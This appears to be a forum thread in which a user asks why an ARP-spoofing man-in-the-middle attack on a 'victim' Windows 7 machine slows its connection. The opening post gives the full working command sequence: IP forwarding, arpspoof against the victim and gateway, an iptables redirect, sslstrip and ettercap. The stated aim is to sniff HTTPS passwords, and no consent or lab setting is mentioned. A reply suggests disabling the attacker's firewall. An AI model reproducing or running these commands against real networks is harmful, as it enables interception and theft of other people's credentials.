Etternet kills victim internet connection

Hello, I am new in this forum,

My computer
Macbook Pro
vmware fusion
Backtrack 4
Airport bridge to an Ethernet connection for vmware

Victim
Win 7


I am using sslstrip and ettercap, to sniff https pass, I am using these lines

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t 192.168.1.6 192.168.1.1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -a -k -f

ettercap -T -q -i wlan0

But whenever I do this in my Mac running Backtrack 4, in a VMware, slows the victim internet connection, is there any way to do it without slowing the internet conection

Thank you¡¡¡

In your thread title you specified that it "kills" the victims internet connection yet in your post you tell us that it's just slow, make up your mind.
Regarding your problem it really depends you could try to turn everything that might block your packets on your attackers machine like firewall or anything like it.

Please research arpspoof'ing and understand what you're doing any why it might affect network performance.

Sorry¡¡¡..it is true, it slows victims computer internet connection..